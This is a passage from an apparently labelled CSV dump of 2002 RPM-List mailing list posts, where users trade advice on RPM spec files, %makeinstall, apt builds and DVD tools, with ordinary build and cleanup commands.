BuildRoot: %{_builddir}/%{real_name}-%{real_version}-root > BuildArchitectures: i586 > > ######################################################################## > # Package Description > ######################################################################## > %description > SpamAssassin provides you with a way to reduce if not completely > eliminate > Unsolicited Commercial Email (SPAM) from your incoming email. It can > be invoked by a MDA such as sendmail or postfix, or can be called from > a procmail script, .forward file, etc. It uses a genetic-algorithm > evolved scoring system to identify messages which look spammy, then > adds headers to the message so they can be filtered by the user's mail > reading software. This distribution includes the spamd/spamc components > which create a server that considerably speeds processing of mail. > > %prep > %setup -q -n %{real_name}-%{real_version} > > ######################################################################## > # Compilation/Installation Instructions (use macros/switches if possible) > ######################################################################## > %build > %{__perl} Makefile.PL LOCAL_RULES_DIR=/etc/spamassassin > INSTALLDIRS=vendor PREFIX=%{_prefix} > make OPTIMIZE=""$RPM_OPT_FLAGS"" PREFIX=%{_prefix} > %install > rm -rf $RPM_BUILD_ROOT > %makeinstall PREFIX=%{buildroot}%{_prefix} \ > INSTALLMAN1DIR=%{buildroot}%{_mandir}/man1 \ > INSTALLMAN3DIR=%{buildroot}%{_mandir}/man3 \ > LOCAL_RULES_DIR=%{buildroot}%{_sysconfdir}/spamassassin > install -m 0711 -D spamd/redhat-rc-script.sh > %{buildroot}/etc/init.d/spamassassind > %clean > rm -rf $RPM_BUILD_ROOT > > ######################################################################## > # RPM file inclusion section (see CRUX guidelines) > ######################################################################## > %files > %defattr(-,root,root) > %attr(0711,root,root) /etc/init.d/spamassassind > %attr(0644,root,root) %config(noreplace) /etc/spamassassin/* > %attr(0755,root,root) %dir %{_datadir}/spamassassin > %attr(0755,root,root) %{_bindir}/* > %attr(0644,root,root) %{_datadir}/spamassassin/* > %attr(-,root,root) %{_libdir}/* > > ######################################################################## > # Changelog - Keep it short and simple > ######################################################################## > %changelog > * Sun Apr 28 2002 Victor > - Initial Release > > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 14 Aug 2002 11:15:09 +0200",Re: Problem with my spec file,"Once upon a time, Victor wrote : > Can someone tell me what I am doing wrong? it's like make doesn't take > the PREFIX override... It's crazy. I don't get it... > OS: TurboLinux6 rmp3.0.6 make 3.79.1 > > I just don't get this. It should work... > [...] > > %build > %{__perl} Makefile.PL LOCAL_RULES_DIR=/etc/spamassassin > INSTALLDIRS=vendor PREFIX=%{_prefix} > make OPTIMIZE=""$RPM_OPT_FLAGS"" PREFIX=%{_prefix} > %install > rm -rf $RPM_BUILD_ROOT > %makeinstall PREFIX=%{buildroot}%{_prefix} \ > INSTALLMAN1DIR=%{buildroot}%{_mandir}/man1 \ > INSTALLMAN3DIR=%{buildroot}%{_mandir}/man3 \ > LOCAL_RULES_DIR=%{buildroot}%{_sysconfdir}/spamassassin [...] Well, first you need to look at the Makefile.PL to see if it uses the PREFIX you're trying to pass to it or not. Maybe you'll need to ""override"" other paths when doing the ""make"". Second, the ""%makeinstall"" macro automatically overrides many common values like ""prefix="" or ""datadir="", so it's completely redundant with the ""PREFIX="" you're passing to it. Take a look at the ""Makefile"" you have at that point to see how the ""install"" target is, and what it uses. Last, as Chris suggested, you can take a look at an existing package, like the one in Rawhide ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 14 Aug 2002 11:02:03 +0200",Re: xine problems,"Once upon a time, Nick wrote : > I'm no longer able to play encrypted dvd's using the xine rpm from > freshrpms. > I think it was about a week ago when I last rented some dvd's, worked > just fine, but apparently since the latest xine update on freshrpms, it > won't anymore. > The output is : > > input_dvd: Sorry, this plugin doesn't play encrypted DVDs. The legal > status > of CSS decryption is unclear and we can't provide such code. > Please check http://dvd.sf.net for more information. > > I'm pretty sure it worked with the previous freshrpms release... Any way > of rolling back updates ? If you get this message, it means that you're using the ""DVD"" button, which is the default DVD plugin and doesn't support decryption. You should either use the ""d4d"" one (no menus) or ""d5d"" (with menus). Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 14 Aug 2002 11:23:28 +0200",Re: DVD+RW tools available (Was: Re: How to add service port ?),"Once upon a time, Chris wrote : > To bring things back on topic, I was practicing my ""rpmbuild'n skillz"" > and made an rpm with some simple software tools to drive my DVD+RW > burner. No GUI frontend, but it works just fine from the command line. I > even used it to burn a bootable DVD version of Red Hat 7.3. > > ftp://people.redhat.com/ckloiber/dvd+rw-tools-0.1.src.rpm Nice! :-) What about the ""dvdrecord"" package that's already included in 7.3? It doesn't do what this one does? I'm asking this because I've got a friend with an iMac running YellowDog Linux (basically Red Hat Linux for PPC), and it's one of the newer versions with a DVD burner. I'd be very interested in using his drive to burn DVDs full of 2-CDs movies or full of ""files for xmame"" ;-) Also, a bootable DVD of Red Hat Linux 7.3 would be great as I've still not burned the CDs even once for myself since I always install through the network (and haven't found an easy way of purchasing an english boxed set here in Spain...). Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 =?iso-8859-1?q?Mich=E8l=20Alexandre=20Salim?= ,rpm-zzzlist@freshrpms.net,"Wed, 14 Aug 2002 11:42:15 +0100 (BST)",Re: DVD+RW tools available (Was: Re: How to add service port ?),"--- Matthias Saou wrote: > Once upon a time, Chris wrote : > > > To bring things back on topic, I was practicing my > ""rpmbuild'n skillz"" > > and made an rpm with some simple software tools to > drive my DVD+RW > > burner. No GUI frontend, but it works just fine > from the command line. I > > even used it to burn a bootable DVD version of Red > Hat 7.3. > > > > > ftp://people.redhat.com/ckloiber/dvd+rw-tools-0.1.src.rpm > > Nice! :-) > What about the ""dvdrecord"" package that's already > included in 7.3? It > doesn't do what this one does? I'm asking this > because I've got a friend > with an iMac running YellowDog Linux (basically Red > Hat Linux for PPC), and > it's one of the newer versions with a DVD burner. > I'd be very interested in > using his drive to burn DVDs full of 2-CDs movies or > full of ""files for > xmame"" ;-) > Also, a bootable DVD of Red Hat Linux 7.3 would be > great as I've still not > burned the CDs even once for myself since I always > install through the > network (and haven't found an easy way of purchasing > an english boxed set > here in Spain...). > > Matthias > That's done by bero - not too sure whether it works on DVD+RW drives, I believe it supports only DVD-R. Would be nice to have a unified tool for DVD/CD burning - already I do my CD burning from dvdrecord since it is more recent. Regards, Michel __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Weyl ,rpm-zzzlist@freshrpms.net,20 Jul 2002 17:17:59 -0500,Ximian apt repos?,"Just a quick question.... does anyone know of a public Ximian apt/rpm repository? (I know, I know.... but some ppl kinda like it:-)) Thanks- -Chris _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ralf Ertzinger ,rpm-zzzlist@freshrpms.net,"Thu, 15 Aug 2002 20:52:33 +0200",Re: Documentation about built-in RPM macros?,"Hi. Dave Cridland wrote: > > recommends *against* using '%configure' (""We will try to support users > > who accidentally type the leading % but this should not be relied > > upon.""), and yet [snip] > They're just suggesting people use ""./configure"" instead. No, they do not (what would be the use of that, anyway?). They say that they will _try_ to eval macros even if the user forgot to pass the leading '%', but that this feature should not be relied upon. -- On the first day of Christmas my true love sent to me A badly configured newsreader _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Harig, Mark A."" ",,"Thu, 15 Aug 2002 15:30:40 -0400",RE: Documentation about built-in RPM macros?,"> -----Original Message----- > From: Ralf Ertzinger [mailto:ralf@camperquake.de] > Sent: Thursday, August 15, 2002 2:53 PM > To: rpm-zzzlist@freshrpms.net > Subject: Re: Documentation about built-in RPM macros? > > > Hi. > > Dave Cridland wrote: > > > > recommends *against* using '%configure' (""We will try to > support users > > > who accidentally type the leading % but this should not be relied > > > upon.""), and yet > > [snip] > > > They're just suggesting people use ""./configure"" instead. > > No, they do not (what would be the use of that, anyway?). > They say that > they will _try_ to eval macros even if the user forgot to pass the > leading '%', but that this feature should not be relied upon. > Hmm. 1. The quote is not suggesting that people use './configure'. 2. The quote is not saying that rpm will _try_ to eval macros even if the user forgot to pass the leading '%'. It is saying the opposite: rpm will try to support users who ""forgot"" to _leave off_ the leading '%'. That is what the documentation _says_, but rpm does not follow the documentation. If you leave off the '%', then rpm will not eval the macro, at least for rpm 4.0.4. Confused? Anyway, back to my original problem: what about documentation for the macros '%post', '%postun', and '%files'? Here's some of what I found ""documented"" in the the CHANGES file that 'rpm' includes: Line 46: - macro for %files, always include %defattr(), redhat config only. Line 49: - bail on %files macro. Hmm. So, there is no %files macro? Line 172-174: - add ""rpmlib(ScriptletInterpreterArgs)"" to track %post -p ""/sbin/ldconfig -n /usr/lib"" incompatibilities. I'm unable to find a corresponding description for %postun, but it appears to work just the same. The important things to remember are: 1. Don't forget the double-quotes around the -p argument string. If you leave them off, you'll get the cryptic error message: error: line #: Package does not exist: %post -p /sbin/ldconfig -n /usr/lib 2. This only works with RPM 4.0.3 or later. > -- > On the first day of Christmas my true love sent to me > A badly configured newsreader > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list > _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Wed, 14 Aug 2002 17:29:08 -0500",Re: Gstreamer Repository,"On 14 Aug 2002 10:59:22 -0400, ""Thomas J. Baker"" wrote: > Has anyone had any luck with the gstreamer repository? I'm using RH 7.3 > and Ximian Gnome 2 snaps and the gstreamer stuff just doesn't work at > all. Rhythmbox crashes on startup, gst-player can't play a simple mpg > file, etc. I'm in your same shoes- I can get it upgraded and all, but I can never seem to work out where to start out with the thing; it strikes me as confusing! But to be fair, I appreciate the pipline idea; just as it's useful on the commandline, it'll be emensely powerful for manipulating multimedia, too. It's just not EASY yet. I'm sure all kindsa glade-produced front-ends will come up for it soon, though. And the docs are complete, too... ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ ""Waddling"" into the mainstream? I suppose... http://www.usatoday.com/usatonline/20020805/4333165s.htm _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Harig, Mark A."" ",,"Wed, 14 Aug 2002 18:46:22 -0400",Documentation about RPM macros?,"Hi, Can someone tell me where I can find some documentation about rpm macros? In particular, I'd like to understand the '%files devel', '%post -p', and '%postun -p' uses described at http://freshrpms.net/docs/fight.html and, more generally, I'm looking for a more detailed description of the available macros and the options they accept. There's no description of the above uses of %file, %post, or %postun in the maximum-rpm book. Thanks in advance for any help! --- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Gary Peck ,rpm-zzzlist@freshrpms.net,"Wed, 14 Aug 2002 20:57:27 -0700",Re: Gstreamer Repository,"On Wed, Aug 14, 2002 at 10:59:22AM -0400, Thomas J. Baker wrote: > Has anyone had any luck with the gstreamer repository? I'm using RH 7.3 > and Ximian Gnome 2 snaps and the gstreamer stuff just doesn't work at > all. Rhythmbox crashes on startup, gst-player can't play a simple mpg > file, etc. I've been using the gstreamer repository with Rawhide Gnome 2 for the last month or so with no problems. Even the new rhythmbox works (if you can call taking 5 minutes to load my mp3 directory ""working""). It might be something with Ximian's Gnome 2 snaps. AFAIK, they're pretty much straight out of CVS and hence a lot more experimental than some of the other Gnome 2 packages out there. gary _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 15 Aug 2002 23:04:24 +0200",Re: making rpms from already-compiled source trees,"Once upon a time, Ralf wrote : > Skipping all RPM build parts except for the actual packing is not > possible Actually it is (sort of). To answer partly the original question, this might have been useful once the %files error was corrected : rpmbuild -bi --short-circuit This will skip all the way to the %install and start from there. Of course, you need to have already done everything else before, and this will _not_ produce any rpm files, but will at least tell you if everything is now able to finish successfully. Sure, it's not perfect since if the %files error was actually because entries were missing you'll notice it only once the package is really installed. But for multiple typos in the %files section (like when you're writing a spec file after 2AM ;-)) it can come in handy :-) It's also very useful if you need to override some Makefile variables during install, when the simple cases like ""%makeinstall"" or ""make install DESTDIR=%{buildroot}"" don't work. It keeps you from redoing all the unpacking and building processes. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 15 Aug 2002 23:15:45 +0200",Re: apt.freshrpms.net,"Once upon a time, Joshua wrote : > Does anyone know how often the apt.freshrpms.net repository is > updated? Is it rsync'ed? It's quite a bit out of date right now. For a > BIND update released mid-July, for example, it has: This is very strange... the Red Hat mirror update is run at least 3 or 4 times a week, I'll look into it right now. Thanks for reporting this! Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Gary Peck ,rpm-zzzlist@freshrpms.net,"Thu, 15 Aug 2002 17:45:31 -0700",Re: making rpms from already-compiled source trees,"Well, thanks everyone for the explanations. I still disagree with the reasoning, but it seems this is one of those philosophical questions that I'm on the losing end of :) The checkinstall utility that someone mentioned seems useful, but I don't really have the time to figure it out right now. After searching the web some more, I found out that Mandrake's version of rpm is patched to support what I wanted. So I guess I'll look into that when I get a chance. On Thu, Aug 15, 2002 at 05:14:47PM +0200, Ralf Ertzinger wrote: > Do nothing in the %build section, and copy the existing binaries > in %install. As far as I can tell, this could be useful for my situation too. It's not a complete solution since I can't really distribute the SRPMS with full certainty that they work, but at least I can make RPMS for local use by tarring up the buildroot directory and then using the above technique. All I really want is to get dependency tracking for everything installed on my system (including software from cvs). This just makes it a little bit faster. gary _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Fri, 16 Aug 2002 06:22:50 +0000",Re: making rpms from already-compiled source trees,"Please see: http://dudex.net/rpms/lincvs-0.9.90-rh7.123.spec snipet: ># extract the ESP package archive >tar xvf lincvs.ss That *.ss file is really a tar file, I had to use the linCVS pre-compiled binary from their ESP install thingie because the one I compiled on my RH box would not run on as many systems. The guy said something like this: ""it's an evil binary that only runs on one system"", so I took the hint :) NOTE: I think I understand why RPM makes you go thru the whole build process: prep, patch, build, install, package ... there are ways to get around this, but the package would not be ""from pristine sources"" so to speak. I read that the 1st big change they made to RPM was to always use ""pristine"" sources, then have prep apply the packager's patches; whereas the early RPMS were already RH patched, apparently, not having the ""pristine"" sources as the author had released them. Just a guess ... ??? Gary Peck (gbpeck@sbcglobal.net) wrote*: > >On Wed, Aug 14, 2002 at 10:14:18PM -0700, Jesse Keating wrote: >> On Wed, 14 Aug 2002 22:03:36 -0700 >> Gary Peck wrote: >> >> # >> #The closest I've gotten is to use ""rpmbuild -bi --short-circuit"" but >> #that falls one step short of actually creating the rpm files. There >> #must be some obvious option I'm missing... >> >> By design, I don't believe there is a way to do what you are asking. > >Out of curiousity, is there any particular reason for the design? It >seems like it'd be an extremely useful option to have -- especially >when building large programs that take hours to compile. > > >The current implementation already does EVERYTHING (including checking >the %files list and running find-provides and find-requires) except >for generating the actual rpm files. I'm sure if I were to look into >the source, I could write a patch that wouldn't take more than a >handful of lines. > > >gary > >_______________________________________________ >RPM-List mailing list > -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,16 Aug 2002 02:51:19 -0400,Re: DVD+RW tools available (Was: Re: How to add service port ?),"On Wed, 2002-08-14 at 05:23, Matthias Saou wrote: > Once upon a time, Chris wrote : > > > To bring things back on topic, I was practicing my ""rpmbuild'n skillz"" > > and made an rpm with some simple software tools to drive my DVD+RW > > burner. No GUI frontend, but it works just fine from the command line. I > > even used it to burn a bootable DVD version of Red Hat 7.3. > > > > ftp://people.redhat.com/ckloiber/dvd+rw-tools-0.1.src.rpm > > Nice! :-) > What about the ""dvdrecord"" package that's already included in 7.3? It > doesn't do what this one does? I'm asking this because I've got a friend > with an iMac running YellowDog Linux (basically Red Hat Linux for PPC), and > it's one of the newer versions with a DVD burner. I'd be very interested in > using his drive to burn DVDs full of 2-CDs movies or full of ""files for > xmame"" ;-) No, the 7.3 dvdrtools works with DVD-R and DVD-RW, this package works with DVD+R and DVD+RW. (Confused yet?) Unfortuantely these tools don't have a gui frontend, but since the workhorse is a wrapper for mkisofs, that shouldn't be too hard for someone who knows how to do those things. > Also, a bootable DVD of Red Hat Linux 7.3 would be great as I've still not > burned the CDs even once for myself since I always install through the > network (and haven't found an easy way of purchasing an english boxed set > here in Spain...). Well that was an image I put together of just the first three disks of the distro. Make it bootable too. Fun, but slower than a network install. -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,16 Aug 2002 03:04:37 -0400,Re: making rpms from already-compiled source trees,"On Thu, 2002-08-15 at 10:53, Erik Williamson wrote: > > > > That's not the same problem. Making a RPM from given binaries is simple. > > > > Sweet - do you know where can I find out more info on this? Officially no. But also on my ftp://people.redhat.com/ckloiber page is rpms for the rar-3.00 file archiving/unarchiving program. This is distributed as a binary tarball only, and I repackaged it based originally on an earlier version of rar I found on the net, just for practice. It also makes use of subpackages, and I was both proud of myself for getting it to work, and sickened that I repackaged binary-only crap. Enjoy. -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ","""FreshRPMs List"" ","Fri, 16 Aug 2002 08:28:39 +0000","advice on 7.3.92 to 7.3.93, and Apt compiling","Any sage advice on the most painless way to upgrade from old limbo (.92) to new limbo (.93)? Apt for rpm from the 7.3 days barely works on Limbo1, and the package: apt-0.5.4cnc6-dwd2.src.rpm will not compile on the Libbo1 box (I was going to use that to dist-upgrade to Limbo2). Compile gave error on file ""genpkglist.cc"". First, it included ""rpm/header.h"" ok, but 2 other includes from that file (rpmio.h, hdrinline.h) could not be found. So I further patched the enviorment file to have ""-I/usr/include/rpm"". I guess that worked, but then I get this error (see below). Ohh... the pain. Any advice? Compiling genpkglist.cc (ed.)/rpm/BUILD/apt-0.5.4cnc6/obj/tools/genpkglist.o genpkglist.cc: In function `int main(int, char**)': genpkglist.cc:586: `rpmReadPackageHeader' undeclared (first use this function) genpkglist.cc:586: (Each undeclared identifier is reported only once for each function it appears in.) genpkglist.cc:604:33: macro ""headerFree"" requires 2 arguments, but only 1 given genpkglist.cc:604: `headerFree' undeclared (first use this function) genpkglist.cc:605:25: macro ""headerFree"" requires 2 arguments, but only 1 given make[2]: *** [(ed.)/rpm/BUILD/apt-0.5.4cnc6/obj/tools/genpkglist.o] Error 1 make[1]: *** [all] Error 2 make: *** [all] Error 2 error: Bad exit status from (ed.)/tmp/rpm-tmp.18285 (%build) -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 16 Aug 2002 11:47:59 +0200","Re: advice on 7.3.92 to 7.3.93, and Apt compiling","Once upon a time, """"Angles"" wrote : > Any sage advice on the most painless way to upgrade from old limbo (.92) > to new limbo (.93)? > > Apt for rpm from the 7.3 days barely works on Limbo1, and the package: > apt-0.5.4cnc6-dwd2.src.rpm will not compile on the Libbo1 box (I was > going to use that to dist-upgrade to Limbo2). Well, the 7.3 binary should work as long as you install the ""rpm404"" (IIRC) compatibility library. The only problem I have with some rpm 4.1 versions is that it sometimes hangs at the and of operations (-e, -i, -F or -U) and the only workaround is to kill it, ""rm -f /var/lib/rpm/__*"" and try again. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Daniel Pavel ,rpm-zzzlist@freshrpms.net,"Fri, 16 Aug 2002 13:08:52 +0300","Re: advice on 7.3.92 to 7.3.93, and Apt compiling","Matthias Saou wrote: > Once upon a time, """"Angles"" wrote : > > >>Any sage advice on the most painless way to upgrade from old limbo (.92) >>to new limbo (.93)? >> >>Apt for rpm from the 7.3 days barely works on Limbo1, and the package: >>apt-0.5.4cnc6-dwd2.src.rpm will not compile on the Libbo1 box (I was >>going to use that to dist-upgrade to Limbo2). > > > Well, the 7.3 binary should work as long as you install the ""rpm404"" (IIRC) > compatibility library. The only problem I have with some rpm 4.1 versions > is that it sometimes hangs at the and of operations (-e, -i, -F or -U) and > the only workaround is to kill it, ""rm -f /var/lib/rpm/__*"" and try again. Well, you're lucky if it sometimes works for you. Mine hang all the time, have to kill 'em with -9. And after that, rpm doesn't work at all (hangs right after i run the command, prints nothing). Have to reboot the machine to get anything rpm-related to work again. > Matthias -silent _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 16 Aug 2002 12:30:51 +0200","Re: advice on 7.3.92 to 7.3.93, and Apt compiling","Once upon a time, Daniel wrote : > > Well, the 7.3 binary should work as long as you install the ""rpm404"" > > (IIRC) compatibility library. The only problem I have with some rpm 4.1 > > versions is that it sometimes hangs at the and of operations (-e, -i, > > -F or -U) and the only workaround is to kill it, ""rm -f > > /var/lib/rpm/__*"" and try again. > > Well, you're lucky if it sometimes works for you. Mine hang all the > time, have to kill 'em with -9. And after that, rpm doesn't work at all > (hangs right after i run the command, prints nothing). Have to reboot > the machine to get anything rpm-related to work again. After that ""kill -9"", removing the ""__*"" files in /var/lib/rpm/ and trying again works 100% of the time for me. Did you try that? Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Antoine Jacoutot ,"""rpm-zzzlist@freshrpms.net"" ","Fri, 16 Aug 2002 13:09:14 +0200",request ?,"Hi, I wanted to know if I could post a request for rpm on the list, or if I had to contact Mathias directly ? Thanks... -- Antoine Jacoutot Linux - Redhat 7.3 Valhalla ajacoutot@linuxfr.dyndns.org http://linuxfr.dyndns.org http://windowsfr.dyndns.org _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 16 Aug 2002 14:53:04 +0200",Re: request ?,"Once upon a time, Antoine wrote : > Hi, I wanted to know if I could post a request for rpm on the list, or if > I had to contact Mathias directly ? > Thanks... Well, since you posted, you could have asked just in case while you were at it ;-) I don't often fulfill requests, so don't expect any miracles :-/ Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Antoine Jacoutot ,rpm-zzzlist@freshrpms.net,"Fri, 16 Aug 2002 15:21:49 +0200",Re: request ?,"> Once upon a time, Antoine wrote : > > > Hi, I wanted to know if I could post a request for rpm on the list, or if > > I had to contact Mathias directly ? > > Thanks... > > Well, since you posted, you could have asked just in case while you were at > it ;-) I don't often fulfill requests, so don't expect any miracles :-/ ...true... Well, I have so many requests that I can't decide which ones I go first... let's say: drip, bastille, avidemux and motion. I'm not asking... just proposing to you... Thanks. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 dumas@centre-cired.fr (Patrice DUMAS - DOCT),rpm-zzzlist@freshrpms.net,"Fri, 16 Aug 2002 18:56:47 +0200",when building a rpm i386-redhat-linux- is appended to man page,"--Fig2xvG2VGoz8o/s Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, When I do a rpm -ta on the package (pam_ssh), in the %makeinstall phase, I get /usr/bin/install -c -m 644 ./pam_ssh.8 /var/tmp/pam_ssh-root/usr/share/man/man8/i386-redhat-linux-pam_ssh.8 instead of what would have been right: /usr/bin/install -c -m 644 ./pam_ssh.8 /var/tmp/pam_ssh-root/usr/share/man/man8/pam_ssh.8 With a plain ./configure; make; make install I get the right /usr/bin/install -c -m 644 ./pam_ssh.8 /usr/local/man/man8/pam_ssh.8 Is it something normal ? Could you please help me to get this right ? I join the Makefile.am and the spec file. Pat --Fig2xvG2VGoz8o/s Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=""Makefile.am"" # $Id: Makefile.am,v 1.6 2002/08/09 18:33:24 akorty Exp $ lib_LTLIBRARIES = libpam_ssh.la libpam_ssh_la_LIBADD = @LTLIBOBJS@ libpam_ssh_la_SOURCES = atomicio.c atomicio.h authfd.c authfd.h \ authfile.c authfile.h bufaux.c bufaux.h \ buffer.c buffer.h cipher.c cipher.h getput.h \ kex.h key.c key.h log.c log.h pam_mod_misc.h \ pam_ssh.c pam_ssh.h rijndael.c rijndael.h \ xmalloc.c xmalloc.h openpam_cred.h man_MANS = pam_ssh.8 securitydir = @PAMDIR@ AUTOMAKE_OPTIONS = dist-bzip2 EXTRA_DIST = $(man_MANS) pam_ssh.spec libtool: $(LIBTOOL_DEPS) $(SHELL) ./config.status --recheck install-libLTLIBRARIES: $(lib_LTLIBRARIES) @$(NORMAL_INSTALL) $(mkinstalldirs) $(DESTDIR)$(securitydir) $(INSTALL_DATA) .libs/libpam_ssh.so \ $(DESTDIR)$(securitydir)/pam_ssh.so --Fig2xvG2VGoz8o/s Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=""pam_ssh.spec"" Summary: pam_ssh package Name: pam_ssh Version: 1.7 Release: 1 URL: http://sourceforge.net/projects/pam-ssh/ Source0: %{name}-%{version}.tar.gz License: BSD BuildRoot: %{_tmppath}/%{name}-root Requires: pam, openssh, openssh-clients BuildRequires: pam-devel Group: System Environment/Base %description This PAM module provides single sign-on behavior for UNIX using SSH. Users are authenticated by decrypting their SSH private keys with the password provided (probably to XDM). In the PAM session phase, an ssh-agent process is started and keys are added. %prep %setup -q %build %configure make clean make %install rm -rf $RPM_BUILD_ROOT %makeinstall securitydir=$RPM_BUILD_ROOT/lib/security %clean rm -rf $RPM_BUILD_ROOT %files %defattr(-,root,root) /lib/security/pam_ssh.so %{_mandir}/*/pam_ssh* %changelog * Fri Aug 16 2002 Dumas Patrice - Initial build. --Fig2xvG2VGoz8o/s-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 dumas@centre-cired.fr (Patrice DUMAS - DOCT),rpm-zzzlist@freshrpms.net,"Fri, 16 Aug 2002 19:35:01 +0200",Re: when building a rpm i386-redhat-linux- is appended to man page,"> This is a common problem with some build files that think you're cross > compiling, and when you really are, this is in fact a feature :-/ > > The workaround is to pass an extra argument to configure as follows : > > %configure --program-prefix=%{?_program_prefix:%{_program_prefix}} Merci. It worked nicely. Pat _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,16 Aug 2002 19:09:23 -0400,"Re: advice on 7.3.92 to 7.3.93, and Apt compiling","On Fri, 2002-08-16 at 04:28, Angles Puglisi wrote: > Any sage advice on the most painless way to upgrade from old limbo (.92) to new > limbo (.93)? Format and reinstall. There is no supported upgrade path from beta to beta, or from beta to release. -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Torsten Bronger ,"""RPM Mailing List"" ","Fri, 16 Aug 2002 19:58:07 +0200",Portable RPMs,"Halloechen! If I create an RPM according to one of the how-to's with having Red Hat in mind, how big are my chances that it will also work for the SuSE distribution, or others? (I don't know how many base on the RPM system.) Or what must I pay attention to when creating an RPM that should work with the big distributions? Tschoe, Torsten. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,17 Aug 2002 14:43:45 +0300,Re: Portable RPMs,"On Fri, 2002-08-16 at 20:58, Torsten Bronger wrote: > If I create an RPM according to one of the how-to's with having > Red Hat in mind, how big are my chances that it will also work > for the SuSE distribution, or others? (I don't know how many > base on the RPM system.) > > Or what must I pay attention to when creating an RPM that should > work with the big distributions? One practice I've adopted is 